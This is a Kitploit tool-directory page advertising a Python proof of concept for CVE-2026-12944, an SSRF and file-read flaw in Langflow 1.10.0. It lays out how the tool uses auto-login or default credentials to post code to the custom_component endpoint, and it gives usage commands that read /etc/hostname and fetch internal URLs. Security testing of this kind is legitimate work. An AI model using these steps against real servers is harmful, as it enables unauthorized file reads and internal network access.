Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12944 — Python PoC for CVE-2026-12944, a Langflow 1.10.0 urllib SSRF and file-read vulnerability. Fingerprints versions and exploits the custom_component endpoint. | Kitploit
Tools/GitHubGitHub/cflowsec/cve-2026-12944
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubcflowsec/cve-2026-12944

CVE-2026-12944

Python PoC for CVE-2026-12944, a Langflow 1.10.0 urllib SSRF and file-read vulnerability. Fingerprints versions and exploits the custom_component endpoint.

View Repository
13h 38m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-12944

Langflow 1.10.0 urllib SSRF

Langflow OSS ≤ 1.10.0 — custom-component code execution via urllib.request / socket. The component scanner’s denylist omitted those stdlib modules. IBM fixed it in 1.10.1.

IBM scores it PR:L. The exec sink is POST /api/v1/custom_component and that call needs a session cookie / bearer token. How this PoC gets one:

  1. --test does not authenticate. It only GET /api/v1/version (plus a connectivity GET /).
  2. --read / --fetch authenticate first, then POST the component.
  3. Stock Langflow has LANGFLOW_AUTO_LOGIN. The script and, if the JSON has , sends . No username or password.
GET /api/v1/auto_login
access_token
Authorization: Bearer …
  • If auto-login is off (401/empty token), it POST /api/v1/login with --uname / --password as application/x-www-form-urlencoded (username, password). Stock defaults are langflow / langflow.
  • Then POST /api/v1/custom_component with {"code": …} that calls urllib.request.urlopen(...).
  • --uname / --password exist only for step 4. They are unused on a default install.

    For authorized testing only. Do not run this against systems you do not own or have permission to test.

    Requires: Python 3, standard library only.

    root@kitploit:~
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
    
    FlagWhat it does
    -u / --urlLangflow base URL (required). http:// or https://. A hostname with no scheme is tried as HTTPS first, then HTTP. http→https redirects keep POST. Bad TLS certs are retried without verify; --insecure skips verify from the start
    --testFingerprint only: GET /api/v1/version (public). No login, no custom_component
    --read PATHFire the gadget: urllib.request file:// read of PATH (executes on the server)
    --fetch URLSSRF: urllib.request.urlopen(URL) and print the body
    --uname / --passwordOnly if AUTO_LOGIN is off (stock defaults: langflow / langflow)
    --insecureSkip TLS verify
    --timeoutHTTP timeout seconds (default 30)

    --test endpoint: GET /api/v1/version. A 200 with "version" / "main_version" prints VERSION, then IN_WINDOW if that string is 1.0.0–1.10.0, then PRESENT. It never hits /api/v1/auto_login or /api/v1/custom_component.

    --read / --fetch hit GET /api/v1/auto_login (or POST /api/v1/login), then POST /api/v1/custom_component.

    Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

    Working PoC

    CVE: CVE-2026-12944. IBM bulletin; upgrade to 1.10.1.

    Download Tool